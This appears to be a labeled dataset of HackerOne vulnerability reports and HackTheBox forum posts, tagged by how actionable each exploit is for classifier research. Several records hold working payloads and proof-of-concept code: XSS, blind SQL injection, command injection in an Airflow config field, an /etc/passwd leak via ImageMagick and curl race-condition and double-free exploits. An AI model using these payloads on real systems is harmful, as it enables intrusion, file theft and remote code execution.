-{"id": "235ccdaf2192da0e980e", "text": "[Improper Access Control - Generic] Permissions policies can be bypassed via Module._load and require.extensions (High) (CVE-2023-30587)\n\n[https://hackerone.com/reports/1960870](https://hackerone.com/reports/1960870)\n\nThe use of `Module._load()` and `require.extensions[\".js\"]` can bypass the policy mechanism and require modules outside of the policy.json definition for a given module.\nThis vulnerability affects all users using the experimental policy mechanism in all active release lines: 16.x, 18.x and, 20.x.\n\n## Impact\n\nPermission policies limit a project to a specific set of authorized node js built-in modules. For example a project could attempt to limit the use of child_process which could be bypassed leading to remote code execution.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-30587"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f092580bee4f86f4f2d2", "text": "[Cross-Site Request Forgery (CSRF)] CSRF protection on OIDC login is broken\n\nTo protect against CSRF the \"state\" is used in the OIDC flow. On callback this code is verified against the code stored in the session for that user. However in case the token does not match a JSON response is provided that includes the expected state. Thus making it trivial for the attacker to obtain the correct state.\n\nJudging from the code it clearly seem to be debug leftovers https://github.com/nextcloud/user_oidc/blob/main/lib/Controller/LoginController.php#L336-L344\n\nFixing the todo there should mitigate the issue and ensure the OIDC flow is more secure.\n\n\nI didn't test ID4ME. But the code is almost identical. So I assume the bug is also the same https://github.com/nextcloud/user_oidc/blob/main/lib/Controller/Id4meController.php#L175-L181\n\n## Impact\n\nThe CSRF protection provided with the state is practically useless now.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "61a07748bcc28f4ea974", "text": "[Improper Input Validation] CVE-2023-25692: Apache Airflow Google Provider: Google Cloud Sql Provider Denial Of Service and Remote Command Execution\n\n## 0x01 Environment\n\n- airflow 2.5.1\n- apache-airflow-providers-google 8.8.0\n- Build with docker compose\n\n##  0x02 Reproduction Steps\n### 2.1 Create a malicious Google Cloud SQL Database connection\nCreate the following Google Cloud SQL Database connection named **aaa** under the Admin->Connections menu.Among them, Host, Schema, Login, and Port are required, just fill in the content that conforms to the format.\n\n{F2213508}\nThe actual content filled in **Extra** field is as follows. Note that **sql_proxy_version** must be similar to `?a=`, and the value of **sql_proxy_binary_path** is set to the command to be executed. Fill in 'whoami' here.\n```python\n{\n  \"project_id\":\"pivotal-gearing-375804\",\n  \"instance\":\"hellopg\",\n  \"location\":\"us-central1-b\",\n  \"database_type\":\"postgres\",\n  \"use_proxy\":\"True\",\n  \"use_ssl\":\"False\",\n  \"sql_proxy_use_tcp\":\"True\",\n  \"sql_proxy_version\":\"?a=\",\n  \"sql_proxy_binary_path\":\"whoami\",\n  \"sslcert\":\"\",\n  \"sslkey\":\"\",\n  \"sslrootcert\":\"\"\n}\n```\n\n### 2.2 Use the CloudSQLExecuteQueryOperator operator in the DAG for verification\nCreate a google_test.py script that uses the CloudSQLExecuteQueryOperator operator, and put it in the `/opt/airflow/dags` directory in the background so that it can be automatically loaded by airflow. The content is as follows, where **gcp_cloudsql_conn_id** is set to the connection name we established above **aaa**\n\n```python\nfrom __future__ import annotations\n\nimport os\nimport subprocess\nfrom datetime import datetime\nfrom os.path import expanduser\nfrom urllib.parse import quote_plus\n\nfrom airflow import models\nfrom airflow.providers.google.cloud.operators.cloud_sql import CloudSQLExecuteQueryOperator\n\n\nSQL = [\n    \"CREATE TABLE IF NOT EXISTS TABLE_TEST (I INTEGER)\",\n    \"CREATE TABLE IF NOT EXISTS TABLE_TEST (I INTEGER)\",  # shows warnings logged\n    \"INSERT INTO TABLE_TEST VALUES (0)\",\n    \"CREATE TABLE IF NOT EXISTS TABLE_TEST2 (I INTEGER)\",\n    \"DROP TABLE TABLE_TEST\",\n    \"DROP TABLE TABLE_TEST2\",\n]\n\n\npostgres_kwargs = dict(\n    user=\"postgres\",\n    password=r\"ktd2(%EzQ5\",\n    public_port=\"5432\",\n    public_ip=\"34.122.52.6\",\n    project_id=\"pivotal-gearing-375804\",\n    location=\"us-central1-b\",\n    instance=\"hellopg\",\n    database=\"postgres\",\n    client_cert_file=\"key/postgres-client-cert.pem\",\n    client_key_file=\".key/postgres-client-key.pem\",\n    server_ca_file=\".key/postgres-server-ca.pem\",\n)\n\n\n# Postgres: connect via proxy over TCP\nos.environ[\"AIRFLOW_CONN_PROXY_POSTGRES_TCP\"] = (\n    \"gcpcloudsql://{user}:{password}@{public_ip}:{public_port}/{database}?\"\n    \"database_type=postgres&\"\n    \"project_id={project_id}&\"\n    \"location={location}&\"\n    \"instance={instance}&\"\n    \"use_proxy=True&\"\n    \"sql_proxy_use_tcp=True\".format(**postgres_kwargs)\n)\n\nconnection_names = [\n    \"proxy_postgres_tcp\",\n]\n\nwith models.DAG(\n    dag_id=\"example_gcp_sql_query\",\n    start_date=datetime(2021, 1, 1),\n    catchup=False,\n    tags=[\"example\"],\n) as dag:\n    prev_task = None\n\n\n    task = CloudSQLExecuteQueryOperator(\n        gcp_cloudsql_conn_id=\"aaa\",gcp_conn_id=\"proxy_postgres_tcp\",task_id=\"example_gcp_sql_task_proxy_postgres_tcp\" , sql=SQL\n    )\n\n# [END howto_operator_cloudsql_query_operators]\n```\nEnable the** example_gcp_sql_query** DAG corresponding to our **google_test.py** script in the UI management interface, and run.\nClick to view the running graph and logs through the Graph menu.\n{F2213514}\nIt can be seen from the log that the victim machine executed the malicious parameter 'whoami' we constructed.\n{F2213518}\n### 2.3 Other methods for remote command execution through directory traversal\n#### 2.3.1 Construct Malicious DAG\nPlace our malicious dag via Google Cloud Starage at [https://storage.googleapis.com/swordlight/load_my_evil_dag.py](https://storage.googleapis.com/swordlight/load_my_evil_dag.py) .The content is as follows:\n```python\nfrom __future__ import annotations\n\nimport pendulum\n\nfrom airflow import DAG\nfrom airflow.decorator", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2023-25692"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "821e82c35aa6a669bfd4", "text": "[Double Free] CVE-2023-27537: HSTS double-free\n\n## Summary:\nWhen processing HSTS with multi-threading, double-free or UAF may occur due to lack of exclusion control.\nHSTS entries disappear when they expire or when \"max-age=0\" is received.\nIn this case, the offending entry is removed from the internal memory list, freeing memory but not exclusivity control.\nTherefore, depending on the timing, other threads may perform the operation, resulting in double-free or UAF.\n\n`lib/hsts.c` in the function `Curl_hsts_parse` on lines 213-221\n```\n  if(!expires) {\n    /* remove the entry if present verbatim (without subdomain match) */\n    sts = Curl_hsts(h, hostname, FALSE);\n    if(sts) {\n      Curl_llist_remove(&h->list, &sts->node, NULL);\n      hsts_free(sts);\n    }\n    return CURLE_OK;\n  }\n```\n\nIf multiple threads process `hsts_free(sts);` at the same time, it becomes double-free.\nAnother problem is that UAF occurs when other threads access entries.\n\nLines 270-275 have a similar problem.\n\n## Steps To Reproduce:\n\n  1. [Prepare the following php.]\n```\n<?php\n$random = rand(0, 1);\nif($random == 0){\n        header(\"strict-transport-security: max-age=9999\");\n}else{\n        header(\"strict-transport-security: max-age=0\");\n}\n```\n  2. [Compile and run the following cpp.]\n```\n#include <stdio.h>\n#define HAVE_STRUCT_TIMESPEC // [Add] \n#include <pthread.h>\n#include <curl/curl.h>\n\n#define NUMT 100\n\nconst char* const url = \"https://test.local/poc.php\";\n\npthread_mutex_t lock[9];\n\nstatic void lock_cb(CURL* handle, curl_lock_data data,\n    curl_lock_access access, void* userptr)\n{\n    pthread_mutex_lock(&lock[data]); /* uses a global lock array */\n}\n\nstatic void unlock_cb(CURL* handle, curl_lock_data data,\n    void* userptr)\n{\n    pthread_mutex_unlock(&lock[data]); /* uses a global lock array */\n}\n\nstatic void* pull_one_url(void* shobject)\n{\n    CURL* curl;\n\n    for (int i = 0; i < 100; i++) {\n        curl = curl_easy_init();\n        curl_easy_setopt(curl, CURLOPT_URL, url);\n        curl_easy_setopt(curl, CURLOPT_HSTS, \"c:\\\\home\\\\hsts.txt\");\n        curl_easy_setopt(curl, CURLOPT_SHARE, shobject);\n        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);\n        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);\n        curl_easy_perform(curl); /* ignores error */\n        curl_easy_cleanup(curl);\n    }\n\n    return NULL;\n}\n\nint main(int argc, char** argv)\n{\n    pthread_t tid[NUMT] = {0};\n    int i;\n\n    for(i = 0;i<=9;i++)\n        pthread_mutex_init(&lock[i], NULL);\n    \n    /* Must initialize libcurl before any threads are started */\n    curl_global_init(CURL_GLOBAL_ALL);\n    CURLSH* shobject = curl_share_init();\n    curl_share_setopt(shobject, CURLSHOPT_SHARE, CURL_LOCK_DATA_HSTS);\n    curl_share_setopt(shobject, CURLSHOPT_LOCKFUNC, lock_cb);\n    curl_share_setopt(shobject, CURLSHOPT_UNLOCKFUNC, unlock_cb);\n    for (i = 0; i < NUMT; i++) {\n        int error = pthread_create(&tid[i],\n            NULL, /* default attributes please */\n            pull_one_url,\n            (void*)shobject);\n        if (0 != error)\n            fprintf(stderr, \"Couldn't run thread number %d, errno %d\\n\", i, error);\n        else\n            fprintf(stderr, \"Thread %d, gets %s\\n\", i, url);\n    }\n\n    /* now wait for all threads to terminate */\n    for (i = 0; i < NUMT; i++) {\n        pthread_join(tid[i], NULL);\n        fprintf(stderr, \"Thread %d terminated\\n\", i);\n    }\n    curl_share_cleanup(shobject);\n    curl_global_cleanup();\n    return 0;\n}\n\n```\nThe source was referred to under docs/examples.\n\nSupplement.\nURL is https://test.local/poc.php.\nphp that randomly memorizes and deletes HSTS entries.\nIt's hard to reproduce if it's random, but I've confirmed that the problem will occur.\nI attach an image of when the UAF happened(I tried in debug build).\nThe number of threads and the number of loops are increased in order to raise the possibility that the phenomenon will occur.\n{F2216003}\n\n## Impact\n\nDouble-free", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-27537"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0cc67b6ce28568d4bf30", "text": "I do not want to spoil here. You can DM me if you still need help.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-02-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3924a877eead428c6ab0", "text": "[Insecure Direct Object Reference (IDOR)] IDOR in Stats API Endpoint Allows Viewing Equity or Net Profit of Any MT Account\n\nHi Team,\n\nToday I logged into my Exness PA and noticed an updated performance [page](https://my.exness.com/pa/performance/summary). I thought to give it a quick check and noticed that the API endpoints responsible for fetching the stats performance chart (```*/stats/*```) is vulnerable to IDOR via `accounts=` parameter. The issue allows fetching the stats of any MT account and discloses the account equity / net profit  of the corresponding account.\n\n#Vulnerable Endpoints\n```\nhttps://my.exness.com/v3/personal_area/stats/net_profit?time_range=365&accounts={accountNumber}\nhttps://my.exness.com/v3/personal_area/stats/orders_number?time_range=365&accounts={accountNumber}\nhttps://my.exness.com/v3/personal_area/stats/trading_volume?time_range=365&accounts={accountNumber}\nhttps://my.exness.com/v3/personal_area/stats/equity?time_range=365&accounts={accountNumber}\n```\n\n#Steps to Reproduce\n```\nGET /v3/personal_area/stats/equity?time_range=365&accounts=xxx HTTP/2\nHost: my.exness.com\nAuthorization: Bearer xyz\nContent-Type: application/json\n```\n\n\n#Proof of Concept\n\n███████\n\n## Impact\n\nIDOR allows stats of any MT trading account. The stats includes account net profit, closed order counts, trading volumes and daily equity figures.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7191aa342cf789de9f40", "text": "I didn’t find a correct solution, but read the flag using the ‘-b’ switch for a server script that uses ‘mv’. Hack the planet haha Ok.Got it. little hint, not directly solution: ‘((ob))’, yes, I know, but it’s not you think it is. Change something and fill in between the brackets and be sure to use money for it.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-01-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4a9d148588885be5fc8a", "text": "[Uncontrolled Resource Consumption] CVE-2022-27781: CERTINFO never-ending busy-loop\n\n## Summary:\nCurl is prone to a DoS attack in case the NSS TLS library is used and the CERTINFO option is enabled. Using maliciously crafted certificates on a server, an attacker can make curl run into an endless loop when connecting to the server. The bug is located in the following code segment (https://github.com/curl/curl/blob/master/lib/vtls/nss.c#L1014):\n\n```\n/* Count certificates in chain. */\nint i = 1;\nnow = PR_Now();\nif(!cert->isRoot) {\n  cert2 = CERT_FindCertIssuer(cert, now, certUsageSSLCA);\n  while(cert2) {\n    i++;\n    if(cert2->isRoot) {\n      CERT_DestroyCertificate(cert2);\n      break;\n    }\n    cert3 = CERT_FindCertIssuer(cert2, now, certUsageSSLCA);\n    CERT_DestroyCertificate(cert2);\n    cert2 = cert3;\n  }\n}\n```\n\nWhen CERTINFO is set, display_conn_info() executes the above shown code, which tries to count the certificates in the chain received from servers via TLS. To this end, display_conn_info() starts with the leaf certificate and attempts to find its issuer certificate in the chain. The issuer certificate then becomes the origin for the next iteration. This step is repeated until there either is no issuer certificate or a root (= self-signed) certificate is found. However, if the received certificate chain contains a loop, this exit condition is never reached and display_conn_info() runs into an endless loop. To craft a loop, it is sufficient to have two CA certificates that mutually list each other as issuers (see attached PoC).\n\n## Steps To Reproduce:\n\nI have implemented a small PoC where a Webserver uses a maliciously crafted certificate chain that contains a loop. To this end, the end-entity certificate for localhost is issued by CA2, whose certificate is issued by CA1, whose certificate in turn is issued by CA2 (-> loop). The Python script for the Webserver and the certificate chain are attached to this report. To trigger the DoS in curl, the following steps need to be executed:\n\n  1. Modify URL in certinfo example (https://github.com/curl/curl/blob/master/docs/examples/certinfo.c#L46) to point to `https://localhost:4443/` instead of `https://www.example.com/` (`url_easy_setopt(curl, CURLOPT_URL, \"https://localhost:4443/\")`)\n  1. Build curl with NSS TLS library (./configure --with-nss) and with examples (make examples)\n  1. Execute python script attached to this report to start the attacker's Webserver\n  1. Execute certinfo (doc/examples/certinfo)\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n  * https_server.py (poc webserver)\n  * key.pem (poc webserver key)\n  * combined_loop.pem (poc webserver certificate chain)\n\n## Impact\n\nAn attacker who controls a server that a libcurl-using application (with NSS and enabled CERTINFO) connects to, can trigger a DoS. In this case, the application runs into an infinite loop and consumes nearly 100% CPU.\n\nUsing the CVSS calculator, I initially came up with medium severity (5.3). However, because the vulnerabilities relies on CERTINFO being enabled and NSS being used, which is not that popular and will soon be deprecated (https://curl.se/dev/deprecate.html), I eventually estimate the severity to be low.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-27781"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fb3c34396f9df370f1d2", "text": "Hello. I’m still a newbie at this. However, I tried what you suggested in your answer. I used dig and identified the subdomains which allowed zone transfer. I enumerated the subdomains that don’t allow zone transfer. And yet, I am still lost and couldn’t figure out the solution to this question. Any more hints would be helpful since I feel frustrated and lost and spent too much time on this problem. thanks", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-02-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b0a69a40f464e4898476", "text": "[Unknown] Broken links make users from France unable to understand the allowed content policy\n\nHello, Reddit!\nI hope you are okay in there.\nFirst of all, I want to say one thing, maybe you will not appreciate this report, but at least this report can help users from France to understand the content policy of Reddit, so that if you fix this problem, users from France will understand the policy properly.\n\nWhich content is allowed, and which is not.\n\nEven though I'm not from France, I thought it wouldn't hurt me to report this.\n\nReproduction step:\n• Visit https://www.redditinc.com/fr/policies/moderator-guidelines (In French)\n• Scroll and see \"You are required to comply with our Content Policy\", you can click that\n• You will be redirected to a 404 page\n\n## Impact\n\nMaybe it's not a serious vulnerability, but at least you fixed it.\nUsers who are from France will not know what content rules they can create and what content rules they can't create.\n\nI read that Reddit requires each of its users to comply with their content policies, but if the page for a French user is 404, they won't understand it, and maybe if the user is breaking the law by posting something very fatal, they can evade in court.\n\nFor example saying \"REDDIT doesn't make any content policy rules\".\n\nMaybe it's weird, but at least if you fix this, there won't be any weird problems like that.\n\n\nBest Regards.\nArdyan Vicky Ramadan.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b0ffb94fe9705ab67af0", "text": "[Cross-site Scripting (XSS) - Stored] XSS in Widget Review Form Preview in settings\n\n## Summary:\nHi team,\n\nI found a XSS vulenrability in the widget review form preview. The payload is added in the success message and triggers when you preview the form\n\n## Steps To Reproduce:\n\n  1. Login to your Shopify account and open Judge.Me App\n  1. Go to 'Settings' -> 'Review Widget' -> 'Widget Form'\n  1. Go the the success message and add this XSS payload to the text: \"><img src=x onerror=alert(document.domain)>\n  1. Click Preview to trigger the XSS\n  1. Save the changes and now every time someone preview the form XSS would trigger\n\n{F1763124}\n\n## Supporting Material/References:\n{F1763127}\n\nAdmin can invite Staff user with limited permission, that staff can then add the payload and perform scripts to other users like the Admin.\n\nIf there's anything I can help with please let me know.\n\nHave a great day!\n\nCheers,\nPenguinsHelp\n\n## Impact\n\nStored XSS", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "04b3f894ad34cb62d066", "text": "[Remote File Inclusion] [CVE-2022-44268] Arbitrary Remote Leak via ImageMagick\n\n**Summary:**\nHackerOne's image upload is using ImageMagick to convert/resize images and is likely updated. Thus, it's vulnerable to CVE-2022-44268.\n\n**Description:**\n\n\n### Steps To Reproduce\n1. Navigate to your profile\n2. Edit and upload the attached image (`im-lfi.png`) as your profile picture\n3. Save changes and download the resized picture\n4. Issue the following command to view the downloaded image's profile data;\n```bash\nidentify -verbose image.png\n```\nThen, copy the `Raw profile type:` and decode it using any tool or using Python like;\n```bash\npython -c \"print(bytes.fromhex('2c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a').decode())\"\n```\n\nI've attached the resized image too which contains the content of /etc/passwd i.e. 86bca9490b71a481329efc85de3a82a98f6c29475f4926fd2b5fc844b96899c0.png\n\n## Impact\n\nArbitrary Remote Leak", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2022-44268"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "39ff29059e406a855f5c", "text": "[SQL Injection] SQL Injection in version 1.4.3 and below\n\n## Summary:\nSQL Injection in ImpressCMS v1.4.3 and earlier allows remote attackers to inject into the code in unintended way, this allows an attacker to read and modify the sensitive information from the database used by the application. If misconfigured, an attacker can even upload a malicious web shell to compromise the entire system.\n\n## ImpressCMS branch :\n[1.4]\n## Browsers Verified In:\n\n  Google Chrome, Firefox]\n\n## Steps To Reproduce:\nStep1- Login with Admin Credentials\nStep2- Vulnerable Parameter to SQLi: mimetypeid (POST request):\n\nPOST /ImpressCMS/htdocs/modules/system/admin.php?fct=mimetype&op=mod&mimetypeid=1 HTTP/1.1\nHost: 192.168.56.117\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: multipart/form-data; boundary=---------------------------40629177308912268471540748701\nContent-Length: 1011\nOrigin: http://192.168.56.117\nConnection: close\nReferer: http://192.168.56.117/ImpressCMS/htdocs/modules/system/admin.php?fct=mimetype&op=mod&mimetypeid=1\nCookie: tbl_SystemMimetype_sortsel=mimetypeid; tbl_limitsel=15; tbl_SystemMimetype_filtersel=default; ICMSSESSION=7c9f7a65572d2aa40f66a0d468bb20e3\nUpgrade-Insecure-Requests: 1\n\n-----------------------------40629177308912268471540748701\nContent-Disposition: form-data; name=\"mimetypeid\"\n\n1 AND (SELECT 3583 FROM (SELECT(SLEEP(5)))XdxE)\n-----------------------------40629177308912268471540748701\nContent-Disposition: form-data; name=\"extension\"\n\nbin\n-----------------------------40629177308912268471540748701\nContent-Disposition: form-data; name=\"types\"\n\napplication/octet-stream\n-----------------------------40629177308912268471540748701\nContent-Disposition: form-data; name=\"name\"\n\nBinary File/Linux Executable\n-----------------------------40629177308912268471540748701\nContent-Disposition: form-data; name=\"icms_page_before_form\"\n\nhttp://192.168.56.117/ImpressCMS/htdocs/modules/system/admin.php?fct=mimetype\n-----------------------------40629177308912268471540748701\nContent-Disposition: form-data; name=\"op\"\n\naddmimetype\n-----------------------------40629177308912268471540748701\nContent-Disposition: form-data; name=\"modify_button\"\n\nSubmit\n-----------------------------40629177308912268471540748701--\n\nVulnerable Payload:\n1 AND (SELECT 3583 FROM (SELECT(SLEEP(5)))XdxE)   //time-based blind (query SLEEP)\n\nOutput:\nweb application technology: Apache 2.4.52, PHP 7.4.27\nback-end DBMS: MySQL >= 5.0.12 (MariaDB fork)\navailable databases [6]:\n[*] impresscms\n[*] information_schema\n[*] mysql\n[*] performance_schema\n[*] phpmyadmin\n[*] test\n\n## Suggestions to mitigate or resolve the issue:\nUse Parameterized Queries\n\n## Supporting Material/References:\nhttps://github.com/sartlabs/0days/blob/main/ImpressCMS1.4.3/Exploit.txt\n\n  * [attachment / reference]\n\n## Impact\n\nSQL Injection in ImpressCMS v1.4.3 and earlier allows remote attackers to inject into the code in unintended way, this allows an attacker to read and modify the sensitive information from the database used by the application. If misconfigured, an attacker can even upload a malicious web shell to compromise the entire system.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a64a8375e865bc992065", "text": "Finally I did it. @mezzown was right. Whoever stuck with this task, read @mezzown comment attentively and revise ‘shellcode requirements’ once again.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-06-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "609b9cd2ee45040514cb", "text": "[Time-of-check Time-of-use (TOCTOU) Race Condition] CVE-2023-32001: fopen race condition\n\nAs we can see in the following curl code (line 59-61 https://github.com/curl/curl/blob/fb802b521af997230b65174a559f5c419520e142/lib/fopen.c ): \n```C\n  if(stat(filename, &sb) == -1 || !S_ISREG(sb.st_mode)) {\n    /* a non-regular file, fallback to direct fopen() */\n    *fh = fopen(filename, FOPEN_WRITETEXT);\n...\n}\n...\n```\nThere is a race condition between the moment \"stat(filename, &sb)\" is executed and the moment \" fopen(filename, FOPEN_WRITETEXT);\" is executed.\nThis leads to undesirable behavior such as an attacker tricking a privileged user to overwrite protected files, or since this function (Curl_fopen) is also used for storing cookies an attacker could trick another user to send those cookies that might be very sensible to a file fully owned and controlled by the attacker.\n\n###POC/Steps to reproduce:\nBefore we start, I will be using a little program called \"rename\". Which simply swaps atomically the names of two files to be able to showcase this race condition. Here is its code :\n```\n#include <strings.h>\n#include <string.h>\n#include <stdlib.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#define _GNU_SOURCE\n#include <fcntl.h>\n#include <stdio.h>\n#include <unistd.h>\n#include <sys/syscall.h>\n#include <linux/fs.h>\n\n// source https://github.com/sroettger/35c3ctf_chals/blob/master/logrotate/exploit/rename.c\nint main(int argc, char *argv[]) {\n  while (1) {\n    syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);\n  }\n  return 0;\n}\n```\n\nOpen two terminals, with two different users. One will be the attacker terminal and the other the victim. \nIn both POCs, the victim  will want to execute a command such as \"curl --cookie-jar a google.com\" thinking the file \"a\" doesn't exist.\n\n###A) Exploiting this vulnerability to trick a user to overwrite a file they own:\n\nAssume the current directory of both attacker(selmelc) and victim (root) looks like this\n```SHELL\nlrwxrwxrwx 1 selmelc selmelc     4 Jun 27 07:11 a -> flag\ndrwxrwxrwx 2 selmelc selmelc  4096 Jun 27 07:11 b\n-rw-r--r-- 1 root    root        6 Jun 27 07:05 flag\n-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename\n```\nThe attacker executes ./rename a b, which will not stop to swap the name of the directory \"b\" and the symlink \"a\". \n\nThe victim executes their command \"curl --cookie-jar a google.com\".\nThe race condition is successfully exploited if in the vulnerable code the stat identifies the file \"a\" as a directory and then the \"fopen\" opens the symlink that points to the file \"flag\".\nIf that happened then the results looks like this :\n```\n...\n-rw-r--r-- 1 root    root      131 Jun 27 07:13 flag\n...\nroot@deb:/home/selmelc/Documents# cat flag\n# Netscape HTTP Cookie File\n# https://curl.se/docs/http-cookies.html\n# This file was generated by libcurl! Edit at your own risk.\n```\nAdditional note: \nYou might think \"well that's just how symlinks work\"... To clarify on that, by default if the victim was executing  \"curl --cookie-jar a google.com\" without the attacker exploiting the vuln. a different behavior would occur ; the file \"a\" would be erased (no more symlink) and overwritten as a regular file containing the cookie data. This happens because the stat function follows symbolic links therefore in that scenario we would not enter the vulnerable condition which leads to the race condition.\n\n###B) Exploiting this vulnerability to steal the victim's cookies and hide it from them:\n\nAs this uses the same logic as the previous exploit for this vuln. Repeat same steps except this time we want the \"flag\" file to be owned by the attacker as following:\n```\nlrwxrwxrwx 1 selmelc selmelc     4 Jun 27 08:42 a -> flag\ndrwxrwxrwx 2 selmelc selmelc  4096 Jun 27 08:41 b\n-rw--w--w- 1 selmelc selmelc     0 Jun 27 08:41 flag\n-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename\n\n```\nNormal curl behavior after the victim executed  \"curl --cookie-jar a google.com\" :\n```\n-rw------- 1 root    root      131 Jun 27 08:49 a\ndrwxrwxrwx 2 selmelc selmelc  4096 Jun 27 08:41 b\n-rw--w--w- 1 selmel", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-32001"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c6a342e0e5c0b3e5a879", "text": "Hello, “Skills Assessment - Service Login” is connected with “Skills Assessment - Website”. So, the username is what you think. Furthermore, try to follow the hint of only use the first name (Ha***) to create password, use seed to only keep passwords which are compliant with the policy, and create the usernames with UsernameGenerator (here use fullname Ha*** Po****).", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-04-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "de3fa82147bdd939d11a", "text": "never mind, I’ve found it. I think I mistyped on my first attempt", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4e1d0606f91bf90c9506", "text": "[Improper Check or Handling of Exceptional Conditions] curl proceeds with unsafe connections when -K file can't be read\n\n## Summary:\nI'm using curl 7.82.0 on Linux. When the file specified by the -K option can't be read, curl sends network traffic as specified by the other options that are explicitly included on the command line (in other words, there's only a warning and I'd like it to be a fatal error). This behavior occurs even if those other options result in an action that's often considered unsafe, such as use of cleartext passwords. It's fine for curl to be capable of sending cleartext passwords, but this shouldn't happen unintentionally.\n\nI feel that this is a vulnerability in curl because curl is able to recognize that the user's intended set of options was not specified correctly, but curl still decides to send network traffic corresponding to the known subset of those options. One might argue that, philosophically, curl prefers to send network traffic even if the user's input is underspecified; however, this isn't true elsewhere in curl. For example, if the user misspells one of the options on the command line, curl doesn't simply ignore that one, and do whatever is specified by the remaining, correctly spelled options. Instead, any misspelled option is a fatal error, and curl sends no network traffic at all. My suggestion is to make this -K situation consistent with that, i.e., if the file specified by -K can't be read, then that is a fatal error and no network traffic is sent.\n\n## Steps To Reproduce:\n  1. Begin typing a curl command line that uses the -K option followed by a filename.\n  2. Create the file with that filename.\n  3. Within the file, include a curl option that is typically regarded as making network traffic more safe, e.g., the --ssl-reqd option.\n  4. Ensure that the curl process cannot read this file.\n  5. Enter the curl command.\n  6. Observe that curl does **not** exit with an error message stating that the file can't be read.\n  7. Observe that curl makes the network connection without the safety measure chosen in step 3.\n\n## Supporting Material/References:\nA fatal error is the approach taken by many other programs in analogous cases, i.e., the program allows a security-relevant user-specified configuration file on the command line, and that file can't be read, e.g.,\n```\n  % ssh -F /home/user/my-safe-ssh-options/not-exist.config example.com\n  Can't open user config file /home/user/my-safe-ssh-options/not-exist.config: No such file or directory\n\n  % tar -X /home/user/list-of-my-private-key-files/not-exist.config -c -f public.tar .\n  tar: /home/user/list-of-my-private-key-files/not-exist.config: No such file or directory\n  tar: Error is not recoverable: exiting now\n```\nIn other words, ssh realizes it would be wrong to simply use the system-wide SSH client configuration when the user is clearly trying to use a different configuration. The tar program realizes it would be wrong to simply place every file into a public archive, when the user is clearly trying to use -X to exclude specific files. With curl, the user is 